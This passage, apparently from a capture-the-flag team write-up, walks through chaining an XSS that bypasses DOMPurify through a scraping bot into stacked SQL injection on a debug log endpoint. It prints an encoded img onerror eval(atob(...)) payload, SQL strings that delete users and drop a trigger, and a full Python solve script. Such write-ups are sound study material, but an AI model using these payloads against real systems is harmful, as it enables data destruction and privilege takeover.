router.get('/', requireAuth, async (_, res) => {
  res.render('checker');
});

router.post('/visit', requireAuth, async (req, res) => {
  const { url } = req.body;
  try {
    if(!url.startsWith("http://") && !url.startsWith("https://")) {
      req.session.flash = { type: 'error', message: 'Invalid URL.' };
    } else {
      await visitUserWebsite(url, req.session.user.data_dir);
      req.session.flash = { type: 'success', message: 'Your website can definitely be scrap, be careful...' };
    }
  } catch (e) {
    console.log(e);
    req.session.flash = { type: 'error', message: `An error occured.` };
  }
  res.redirect('/checker');
});

module.exports = router;

We can see that we need the bot to visit /checker?url=http://localhost:3000/<malicious> and after that, we can have our malicious img tag inserted to do XSS.

Ibrahim figured that you can just set up a server that takes like 10 seconds to respond so that the error will trigger. Once you have that you can append a payload like this to it:

http://<host>/%26lt%3Bimg%20src%3D%27x%27%20onerror%3Dalert%281%29%26gt%3B

Which is just this url-encoded

&lt;img src='x' onerror=alert(1)&gt; -> <img src='x' onerror=alert(1)>

From what I interpreted from SteakEnthusiast's explanation, the reason why we use < and > is because DOMPurify thinks it is safe, so it lets it pass through, and something happens with .textContent and .innerHTML in somethingWentWrong that causes it to render.

Alright, so now that we have all of this, we can build our malicious URL. We are sending it to localhost:3000 because that is the port the service is running on for the bot.

http://localhost:3000/checker?url=https://{HOST_THAT_TAKES_10_SECONDS_TO_RESPOND}/{XSS_PAYLOAD}

http://localhost:3000/checker?url=http://{HOST_THAT_TAKES_10_SECONDS_TO_RESPOND}/%26lt%3Bimg%20src%3Dx%20onerror%3D%22eval(atob(%27ICBjb25zdCBwYXlsb2FkID0geyJsb2ciOiAiKTtVUERBVEUgdXNlcnMgU0VUIHJvbGU9XCJ1c2VyXCI7U0VMRUNUIFwiMVwifHwnIn07DQogICAgZmV0Y2goIi9kZWJ1Zy9jcmVhdGVfbG9nIiwgew0KICAgICAgICBtZXRob2Q6ICJQT1NUIiwNCiAgICAgICAgaGVhZGVyczogew0KICAgICAgICAgICAgIkNvbnRlbnQtVHlwZSI6ICJhcHBsaWNhdGlvbi9qc29uIg0KICAgICAgICB9LA0KICAgICAgICBib2R5OiBKU09OLnN0cmluZ2lmeShwYXlsb2FkKSwNCiAgICAgICAgY3JlZGVudGlhbHM6ICJpbmNsdWRlIg0KICAgIH0p%27))%22%0A%2F%26gt%3B

URL Decoded payload

&lt;img src=x onerror="eval(atob('ICBjb25zdCBwYXlsb2FkID0geyJsb2ciOiAiKTtVUERBVEUgdXNlcnMgU0VUIHJvbGU9XCJ1c2VyXCI7U0VMRUNUIFwiMVwifHwnIn07DQogICAgZmV0Y2goIi9kZWJ1Zy9jcmVhdGVfbG9nIiwgew0KICAgICAgICBtZXRob2Q6ICJQT1NUIiwNCiAgICAgICAgaGVhZGVyczogew0KICAgICAgICAgICAgIkNvbnRlbnQtVHlwZSI6ICJhcHBsaWNhdGlvbi9qc29uIg0KICAgICAgICB9LA0KICAgICAgICBib2R5OiBKU09OLnN0cmluZ2lmeShwYXlsb2FkKSwNCiAgICAgICAgY3JlZGVudGlhbHM6ICJpbmNsdWRlIg0KICAgIH0p'))"
/&gt;

Base64 payload

  const payload = {"log": ");UPDATE users SET role=\"user\";SELECT \"1\"||'"};
    fetch("/debug/create_log", {
        method: "POST",
        headers: {
            "Content-Type": "application/json"
        },
        body: JSON.stringify(payload),
        credentials: "include"
    })

So, sending the bot here will make it set everyone's role to user and we will be able to see the flag at the /scrap route.

Flag 2

Alright, so flag 2 is on the server, how can we view it? We figured it was something to do with files.js

// files.js

router.get('/:scrapname/:subpath(*)?', requireAuth, (req, res) => {
  const rootUserDir = req.session.user.scrap_dir;
  const scrapName   = req.params.scrapname;
  const subpath     = req.params.subpath || '';
  
  const allScraps = listDirectory(rootUserDir);
  if (!allScraps.some(entry => entry.name === scrapName)) {
    req.session.flash = { type: 'error', message: 'This scrap does not exists.' };
    return res.redirect('/files');
  }
 ...

function listDirectory(directory, scrapname = "") {
  let entries = [];
  try {
    if (fs.existsSync(directory)) {
      entries = fs.readdirSync(directory).map(name => ({
        name,
        path: scrapname == "" ? path.join(directory, name).split("/").pop() : scrapname+"/"+path.join(directory, name).split("/").pop()
      }));
    }
  } catch {}
  return entries;
}
...

I assumed we could just change scrap_dir to / and we could get the flag in the root directory. It turned out to be a lot harder than I thought because there is a a trigger set in the database schema that stops us from changing scrap_dir. There is a simple solution though which is to just drop it. Also, if you remember, / is not allowed in the request to /debug/create_log, but we did not remember that piece of info. So, before we rediscovered that quirk, our idea was to send a bunch of requests to setup for changing the scrap_dir to /.

This is how it was laid out:

Delete every other user except for the bot from the database because scrap_dir must be unique and no one else must have it (You can see this in the schema in db.js), otherwise it could interfere with our solution.
Re-register our user
Go to the /me endpoint to get our id to change our specific account's scrap_dir with the WHERE id= thing
Set our role to "/" i.e. CHAR(47)
Drop the trigger users_immutable_dirs that is preventing us from changing scrap_dir
set scrap_dir=role
change role back to "user" so that we can see the flag at /files

Once we remembered that / was blocked, we knew needed to use CHAR(47) which wouldn't get filtered, but we didn't have a lot of characters to spare. Thus, we spent a bunch of time golfing down the query. The big breakthrough was from SteakEnthusiast who figured out that we didn't really need the "1"|| in SELECT "1"||' and now we have a bunch more characters to our name, enough for CHAR(47).

So we could turn a query like this (50 chars):

);UPDATE users SET role="/" WHERE id=6;SELECT 1||'

into this (50 chars):

);UPDATE users SET role=CHAR(47)WHERE id=6;SELECT'

Also notice how we got rid of the spaces next to WHERE and SELECT.

Here are the queries sent in order without all the extra stuff, I will show you the solve script at the end.

DELETE FROM users WHERE id!=1 -- delete every user except for bot
UPDATE users SET role=CHAR(47)WHERE id={singe_digit_id} -- make our role /
DROP TRIGGER users_immutable_dirs -- make scrap_dir changeable
UPDATE users SET scrap_dir=role -- set scrap_dir="/"
UPDATE users SET role="user"; -- allow ourselves to access /files

With all of this, we are able to go to /files and view flag 2.

Here is the cursed solve script which Ibrahim wrote most of:

import requests
import json, base64

base_url = "http://<host>:4000" # I replaced the host here
session = requests.Session()

def register_user(username, password):
    data = {
        "username": username,
        "password": password
    }
    register_resp = session.post(f"{base_url}/register", data=data)
    login_resp = session.post(f"{base_url}/login", data=data)

def run_sql_query(sql_query):
    # assert len(sql_query) <= 50
    assert "-" not in sql_query
    assert "/" not in sql_query
  
    js_code = f"""
    let payload = {{"log": "{sql_query}"}};

    fetch("/debug/create_log", {{
        method: "POST",
        headers: {{
            "Content-Type": "application/json"
        }},
        body: JSON.stringify(payload),
        credentials: "include"
    }})
    """

    url = f"http://localhost:3000/checker?url=http://<HOST_THAT_TAKES_10_SECONDS_TO_RESPOND>/%26lt%3Bimg%20src%3Dx%20onerror%3D%22eval(atob(%27{(base64.urlsafe_b64encode(js_code.encode('utf-8')).decode('utf-8')).replace('=', '%3D')}%27))%22%0A%2F%26gt%3B"

    print(f"URL: {url}")  

    resp = session.post(f"{base_url}/checker/visit", json={"url": url})

    # print(sql_query[2:-11])
    # resp = session.post(f"{base_url}/run_sql", json={"sql": sql_query[2:-11]})

# Register and Login
register_user("bob123", "bob123")

# Delete all users except bot user
run_sql_query(');DELETE FROM users WHERE id!=1;SELECT 1||\'')

# Register and Login again
register_user("bob123", "bob123")

resp = session.get(f"{base_url}/me").json()

print(resp["id"])
id = resp["id"]

# # Update our role to "~"
# run_sql_query(f');UPDATE users SET role=\\"~\\" WHERE id={id};SELECT 1||\'')

# # DROP trigger
# run_sql_query(f');DROP TRIGGER users_immutable_dirs;SELECT 1||\'')

# # Update scrap_dir
# run_sql_query(');UPDATE users SET scrap_dir=\\"\\"||role;SELECT 1||\'')

# # Set role to "user"
# run_sql_query(');UPDATE users SET role=\\"user\\";SELECT 1||\'')

# Update our role to "/"
run_sql_query(f');UPDATE users SET role=CHAR(47)WHERE id={id};SELECT\'')

# DROP trigger
run_sql_query(f');DROP TRIGGER users_immutable_dirs;SELECT 1||\'')

# Update scrap_dir
run_sql_query(');UPDATE users SET scrap_dir=role;SELECT 1||\'')

# Set role to "user"
run_sql_query(');UPDATE users SET role=\\"user\\";SELECT 1||\'')

And when we login as bob123, the flag is available to us.

Afterthoughts fr fr

Looking back, we probably didn't need to change the role to be CHAR(47), after the breakthrough with character saving, we could've just set scrap_dir to CHAR(47) directly. Also, we could've made this faster once we set our role to user because we can just POST to /debug/create_log/ ourselves instead of having to XSS the bot which takes about 10 seconds each query.

DELETE FROM users WHERE id!=1 -- delete every user except for bot
UPDATE users SET role="user"WHERE id={id} -- make our role user
DROP TRIGGER users_immutable_dirs -- make scrap_dir changeable
UPDATE users SET scrap_dir=CHAR(47) -- set scrap_dir="/"

Anyways, thanks for reading! I had a really fun time doing this challenge with everyone.